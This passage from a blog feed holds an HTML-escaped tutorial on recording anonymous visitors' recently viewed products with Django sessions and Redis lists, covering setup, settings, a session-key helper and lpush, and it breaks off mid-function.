      <summary>&lt;p&gt;If you&amp;rsquo;ve used only Python or only Javascript, you&amp;rsquo;re probably a little curious to know what the other one looks like. I&amp;rsquo;ve used both and I can tell you a bit about the differences and some things in common that both languages have, so you can find the best one for you.&lt;/p&gt;&#xA;&lt;p&gt;I also wrote a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/&#34;&gt;Python vs Go comparison&lt;/a&gt;&#xA;that you can check out, furthermore I share with you &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;my favorite list of resources for learning Python&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a history of products with django and redis?</title>
      <link>https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/</link>
      <pubDate>Sat, 28 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;You are browsing an ecommerce site, a product catches your attention and you click to see it, but you are not convinced. You decide to see other options, click on a new product and, when you scroll to the bottom of the page, the page shows you the first product you saw under the caption &amp;ldquo;Recently viewed&amp;rdquo;. You can do the same with django and redis.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;django-and-redis&#34;&gt;django and redis&lt;/h2&gt;&#xA;&lt;p&gt;Adding a section of visited products increases sales in an ecommerce and keeps the user longer on the page. It is normal to add this history to a user who is already in the database. The website managers have a history of the products we view, the ones we buy, how much time we spend viewing them and many other data but&amp;hellip; what about the anonymous users who do not have a history? What about anonymous users who do not have an account?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/images/Historial-de-Amazon.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-history-of-visited-products-with-django-and-redis/images/Historial-de-Amazon.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Historial de productos visitados de amazon, incluye Cracking the code interview, Design Patterns, Clean Code y the Pragmatic Programmer.&#34; width=&#34;1525&#34; height=&#34;397&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;History of a certain ecommerce site that no longer needs advertising.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you (or your company) are not interested in having stored in a database the history of millions of products visited by each anonymous user who visits the site, but you would still like to show each user, registered or not, the products he/she has seen.&lt;/p&gt;&#xA;&lt;p&gt;Redis is a efficacious database engine, it works with volatile data, because it stores its information in memory, so its access is almost instantaneous, although volatile. However &lt;strong&gt;it is possible to dump its information to a permanent medium, such as mysql, postgres or another database, later&lt;/strong&gt;. Surely we can use redis but&amp;hellip; how are we going to differentiate one anonymous user from another?&lt;/p&gt;&#xA;&lt;p&gt;There are many ways to address that problem, you can associate a user (and their history) with a cookie, ip or even an affiliate link, etc. The type of data you want to link depends on your business intentions. For this example we will use a session key from the session system that is already included in django by default.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;install-redis-on-gnulinux&#34;&gt;Install redis on GNU/Linux&lt;/h2&gt;&#xA;&lt;p&gt;Before you can start using django and redis you must install the latter on your GNU/Linux operating system. If you have no idea about the basic commands in a linux environment I suggest you to visit my post that talks about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;most common GNU Linux commands&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install redis-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;redis-server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;install-redis-for-python&#34;&gt;Install redis for Python&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Next we are going to install the package that links redis with Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;em&gt;settings.py&lt;/em&gt; file of our application, we add the default values we are going to use. These may be different if your redis server is in another location or if you chose another port instead of the default.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_HOST &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_PORT &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6379&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REDIS_DB &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will also ask django to save the session with each request and make sure that the middleware for sessions is active.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SESSION_SAVE_EVERY_REQUEST &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;For this example I use a model called &lt;em&gt;Product,&lt;/em&gt; but you can substitute it for the equivalent in your application.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Product&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have come this far, but you have no idea how Django works, I have some posts where I review a couple of books that may help you: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;El libro definitivo de Django (Gratuito)&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/learning-django-through-the-book-django-by-example-my-review/&#34;&gt;Django by example&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;choosing-the-value-to-be-used-as-a-key-in-django-and-redis&#34;&gt;Choosing the value to be used as a key in django and redis&lt;/h2&gt;&#xA;&lt;p&gt;First we must choose the time at which redis will save our access to the product. The view that returns the details of a product would be ideal. This way, every time a website user accesses the product details we will add the product information to their user id.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    products &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Product&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# O el queryset que prefieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_object_or_404(products, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First, let&amp;rsquo;s get the object whose details we are querying, for that we use &lt;em&gt;get_object_or_404&lt;/em&gt;, to which we pass a queryset or a model and the &lt;em&gt;id&lt;/em&gt; to be searched.&lt;/p&gt;&#xA;&lt;p&gt;Now we are going to create a series of functions to make our work easier, you can create them in a separate file, I will call it &lt;em&gt;utils.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;connecting-redis-and-python&#34;&gt;Connecting redis and python&lt;/h2&gt;&#xA;&lt;p&gt;In the utils.py file we are going to establish a connection between Python and Redis. The StrictRedis method will receive the values, these are the same ones we specified in our configuration file, so we can import them directly from there.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; redis&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;StrictRedis(host&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_HOST,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;port&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_PORT,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;REDIS_DB)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-a-user-identifier-to-be-used-as-a-key-in-redis&#34;&gt;Create a user identifier to be used as a key in redis&lt;/h2&gt;&#xA;&lt;p&gt;We want to associate each redis key to a user, so we need a function that returns a way to identify each user of our page. For anonymous users the ideal would be to use a session key, if we want to include users with a story we can associate them directly with their user.&lt;/p&gt;&#xA;&lt;p&gt;Our function saves the session if there is no &lt;em&gt;session_key&lt;/em&gt;, this way we will be sure to always have one. The function will return the &lt;em&gt;session_key&lt;/em&gt; if the user is anonymous or the user if the user is already logged in.&lt;/p&gt;&#xA;&lt;p&gt;For this it is necessary to receive the request object as an argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_user_id_for_redis&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session_key:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session_key &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_anonymous &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;saving-values-in-redis-with-lpush-or-rpush&#34;&gt;Saving values in redis with lpush or rpush&lt;/h2&gt;&#xA;&lt;p&gt;The way in which it saves the data is by linking them with a key, that key has an associated list that will contain the information.&lt;/p&gt;&#xA;&lt;p&gt;It is quite similar to a dictionary that has a list as its value. The equivalent in Python code would look something like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;], &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_2&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;112&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;444&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The numbers we will store will be the ids or primary keys of the products.&lt;/p&gt;&#xA;&lt;p&gt;To tell redis to extend that list at the beginning we will use &lt;em&gt;lpush&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;**The &lt;em&gt;lpush&lt;/em&gt; method receives; the name of the key that we will store, as first argument; a value that it will add to the associated list of values at the beginning, as second argument. In addition &lt;em&gt;lpush&lt;/em&gt; &lt;strong&gt;returns the size of the list associated to the key that we pass as first argument.&lt;/strong&gt; The rpush method does the same but for the end.&lt;/p&gt;&#xA;&lt;p&gt;Knowing this we will create a function that takes a user and a product id and pass them to redis to save them, our function will return the value returned by &lt;em&gt;lpush&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_product_history_by_user&lt;/span&gt;(user_id, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; 